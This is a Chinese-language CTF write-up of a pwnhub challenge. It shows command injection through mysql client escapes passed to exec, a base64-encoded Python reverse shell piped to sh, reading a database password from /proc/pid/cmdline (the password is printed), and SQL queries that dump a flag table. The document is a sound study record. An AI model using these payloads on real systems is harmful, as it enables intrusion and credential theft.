pwnhub公开赛——成功就是要梭哈

终于如愿以偿的拿到了邀请码,流下了没有技术的眼泪.jpg

首先就是代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
highlight_file('index.txt');
$url = "https://sqlchop.chaitin.cn/demo/detect/";
$sqlque = 'select 1 from dual where 1=';
if(isset($_GET['a']))
$payload = str_replace(';','',(string)$_GET['a']);
else
$payload = '1';
$postd = array('type'=>'body','content_type'=>'application/x-www-form-urlencoded','payload'=>urlencode($payload));
$post_data = json_encode($postd);
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($ch, CURLOPT_POSTFIELDS,$post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: application/json',
'Content-Length: ' . strlen($post_data))
);

$result = curl_exec($ch);
$arr = json_decode($result,true);
if(!array_key_exists('attack',$arr)||$arr['attack']>0)
die('error!');
if(preg_match('/from|@|information_schema|\./is',$payload))
die('hacker?');
$sql = "mysql -u****** -p****** -e ".escapeshellarg($sqlque.$payload);
exec($sql,$aa);
var_dump($aa);
?>

开始一看,woc难道是绕长亭的waf,放弃了放弃了,往下看发现了sql的执行是用exec来执行mysql -e,然后以为是命令执行,一通乱试,发现/?a=\n的时候输出是array(1) { [0]=> string(19) "PAGER set to stdout" },赶紧查了一波,当输入\h的时候,输出mysql的帮助信息,发现"system (\!) Execute a system shell command.",还真的是命令执行,赶紧用base64编码反弹了一个shell
\s能输出数据库信息,包含用户名

1
2
3
sh -c "(echo "cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTAwMDEpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9iYXNoIiwiLWkiXSk7Jw==" | base64 -d) | sh"

//自己服务器的ip去掉了

然而只是个低权限用户,index.php只有执行权限,没有读取权限,还有一堆没权限的。
根目录下有个getflag,但是没有权限,继续探索,发现/home/ubuntu/flag,cat一下,发现了"root> socat tcp-l:xxxx,bind=127.0.0.1,fork exec:/getflag""hint: the key is in database ~"

很难受,拿不到数据库密码。因为是通过exec来执行,肯定会留下shell的历史,就去问了下学长除了history还有别的途径没,学长甩给我一个路径/proc/pid/cmdline,woc /proc/pid/cmdline 包含了用于开始进程的命令 学到了学到了, 读取一下里面发现了数据库密码以及socat所监听的端口。然后就是一顿操作猛如虎.
mysql -u wupco --password='PwnHub123666P' -e 'show databases'

mysql -u wupco --password='PwnHub123666P' -e 'select table_name from information_schema.tables where table_schema=0x666c6167 limit 0,1'

mysql -u wupco --password='PwnHub123666P' -e 'select * from flag.flaaaaa4g030'

nc 0 8888
输入key就拿到flag了


其实这里可以不用拿到数据库密码来获取表名,列名
因为\c是清楚前面的语句,所以\cshow databases能列出库名

1
array(3) { [0]=> string(8) "Database" [1]=> string(18) "information_schema" [2]=> string(4) "flag" }

\d是重新定义结束符(不知道怎么讲;),所以\c\d : \u mysql :show tables :能列出表名

1
array(2) { [0]=> string(14) "Tables_in_flag" [1]=> string(12) "flaaaaa4g030" }